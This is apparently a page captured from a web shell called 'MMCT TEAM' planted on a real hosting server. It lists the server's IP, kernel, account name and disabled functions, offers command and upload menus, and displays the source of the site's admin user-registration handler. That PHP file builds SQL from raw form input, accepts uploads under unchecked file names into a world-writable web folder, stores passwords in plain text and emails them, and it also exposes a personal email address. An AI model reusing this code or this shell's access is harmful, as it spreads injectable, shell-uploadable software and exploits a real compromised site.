MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/food/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/food/admin/userform.php
<?php
session_start();

include("includes/config.php");

if(isset($_POST['add_user'])){

    $f_name = $_POST['f_name'];
    $l_name = $_POST['l_name'];
    $father_name = $_POST['father_name'];
    $Mother_name = $_POST['Mother_name'];
    $phone = $_POST['phone'];
    $dob = $_POST['dob'];
    $email = $_POST['email'];
    $gender = $_POST['gender'];
    $religion = $_POST['religion'];
    $state = $_POST['state'];
    $city = $_POST['city'];
    $education = $_POST['education'];
    $description = $_POST['description'];
    $address = $_POST['address'];
    $category = $_POST['category'];
    $job = $_POST['job'];
    $experience = $_POST['experience'];
    $transaction_Id	= $_POST['transaction_Id'];

    $length = 10;
    $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $password = '';
    for ($i = 0; $i < $length; $i++) {
        $password .= $characters[mt_rand(0, strlen($characters) - 1)];
    }
    // Hash the generated password before storing it
    $hashedPassword = password_hash($password, PASSWORD_DEFAULT);


    // Check if files were uploaded
    if (isset($_FILES["images"]) && !empty($_FILES["images"]["name"][0])) {
        $uploadDirectory = "userimage/";

        // Create the directory if it doesn't exist
        if (!file_exists($uploadDirectory)) {
            mkdir($uploadDirectory, 0777, true);
        }

        $uploadedImages = array();

        // Loop through each uploaded file
        for ($i = 0; $i < count($_FILES["images"]["name"]); $i++) {
            $tmpFilePath = $_FILES["images"]["tmp_name"][$i];
            $newFilePath = $uploadDirectory . basename($_FILES["images"]["name"][$i]);

            // Move the file to the specified directory
            if (move_uploaded_file($tmpFilePath, $newFilePath)) {
                $uploadedImages[] = htmlspecialchars(basename($_FILES["images"]["name"][$i]));
            } else {
                echo "Error uploading file: " . $_FILES["images"]["name"][$i] . "<br>";
            }
        }

        // Insert data into the database
        $image1 = isset($uploadedImages[0]) ? $uploadedImages[0] : '';
        $image2 = isset($uploadedImages[1]) ? $uploadedImages[1] : '';
        $image3 = isset($uploadedImages[2]) ? $uploadedImages[2] : '';
        $image4 = isset($uploadedImages[3]) ? $uploadedImages[3] : '';
        $image5 = isset($uploadedImages[4]) ? $uploadedImages[4] : '';

      
        $query = "INSERT INTO users (f_name, l_name, father_name, Mother_name,  phone, dob , email, password, gender, religion, state, city, education, description, address, category, job, experience, transaction_Id, photo, sign, image, afront, aback)
        VALUES ('$f_name', '$l_name', '$father_name', '$Mother_name', '$phone', '$dob', '$email', '$password', '$gender', '$religion', '$state', '$city', '$education', '$description', '$address', '$category', '$job','$experience', '$transaction_Id', '$image1', '$image2', '$image3', '$image4', '$image5')";

        $query_run = mysqli_query($conn, $query);

        if ($query_run) 
        {

                    // Send email to user
                    $userSubject = "Your New Password";
                    $userMessage = "Your new password is: $password";
                    $userHeaders = "susheelkumar12ksd@gmail.com"; // Replace with your email address
                    mail($email, $userSubject, $userMessage, $userHeaders);

                    // Send email to admin
                    $adminSubject = "New User Registration";
                    $adminMessage = "A new user has registered with the following details:\n\nName: $f_name $l_name\nEmail: $email";
                    $adminHeaders = "From: susheelkumar12ksd@gmail.com"; // Replace with your email address
                    mail("susheelkumar12ksd@gmail.com", $adminSubject, $adminMessage, $adminHeaders);

            $_SESSION['status'] = "Data Uploaded Successfully";
            header('Location: ../career-standard.php');
        } else {
            $_SESSION['status'] = "Error: " . mysqli_error($conn);
            header('Location: ../career-standard.php');
        }
    } else {
        echo "No files were uploaded.";
    }
}


// if (isset($_POST["update_category"])) {
//     $id = $_POST['id'];
//     $title = $_POST['title'];
//     $heading1 = $_POST['heading1'];
//     $content1 = $_POST['content1'];
//     $heading2 = $_POST['heading2'];
//     $content2 = $_POST['content2'];

//     $old_image1 = $_POST['image_old1'];
//     $old_image2 = $_POST['image_old2'];

//     // File upload handling
//     $update_filename1 = handleFileUpload("image1", $old_image1);
//     $update_filename2 = handleFileUpload("image2", $old_image2);

//     $query = "UPDATE visasrefusals SET title = ?, heading1 = ?, content1 = ?, heading2 = ?, content2 = ?, image1 = ?, image2 = ? WHERE id = ?";

//     $stmt = mysqli_prepare($conn, $query);
//     mysqli_stmt_bind_param($stmt, "sssssssi", $title, $heading1, $content1, $heading2, $content2, $update_filename1, $update_filename2, $id);
//     $query_run = mysqli_stmt_execute($stmt);

//     if ($query_run) {
//         // Move uploaded files only if they are set in the form
//         if ($_FILES["image1"]["name"] != '') {
//             move_uploaded_file($_FILES["image1"]["tmp_name"], "visarefusalimage/" . $update_filename1);
//             // Unlink old image only if it is different from the new one
//             if ($update_filename1 != $old_image1) {
//                 unlink("visarefusalimage/" . $old_image1);
//             }
//         }

//         if ($_FILES["image2"]["name"] != '') {
//             move_uploaded_file($_FILES["image2"]["tmp_name"], "visarefusalimage/" . $update_filename2);
//             // Unlink old image only if it is different from the new one
//             if ($update_filename2 != $old_image2) {
//                 unlink("visarefusalimage/" . $old_image2);
//             }
//         }

//         $_SESSION['status'] = "Image Updated Successfully";
//         header('Location: index.php');
//     } else {
//         $_SESSION['status'] = "Image Not Updated Successfully";
//         header('Location: code.php');
//     }
//     mysqli_stmt_close($stmt);
// }

// function handleFileUpload($inputName, $oldFileName)
// {
//     $newFileName = $oldFileName;

//     if ($_FILES[$inputName]["name"] != '') {
//         $newFileName = $_FILES[$inputName]["name"];
//     }

//     return $newFileName;
// }





// if(isset($_POST['delete_image'])){

//     $id = $_POST['delete_id'];
//     $image = $_POST['del_image'];

//     $query = "DELETE FROM visasrefusals WHERE id = '$id'";
//     $query_run = mysqli_query($conn, $query);

//     if($query_run){

//         unlink("visarefusalimage/".$image1);
//         unlink("visarefusalimage/".$image2);


//         $_SESSION['status'] = "image Deleted Successfully";
//         header('Location:  visas_refusals.php');

//     }else{
//         $_SESSION['status'] = "image Not Deleted Successfully";
//         header('Location: visas_refusals.php');

//     }

// }








MMCT - 2023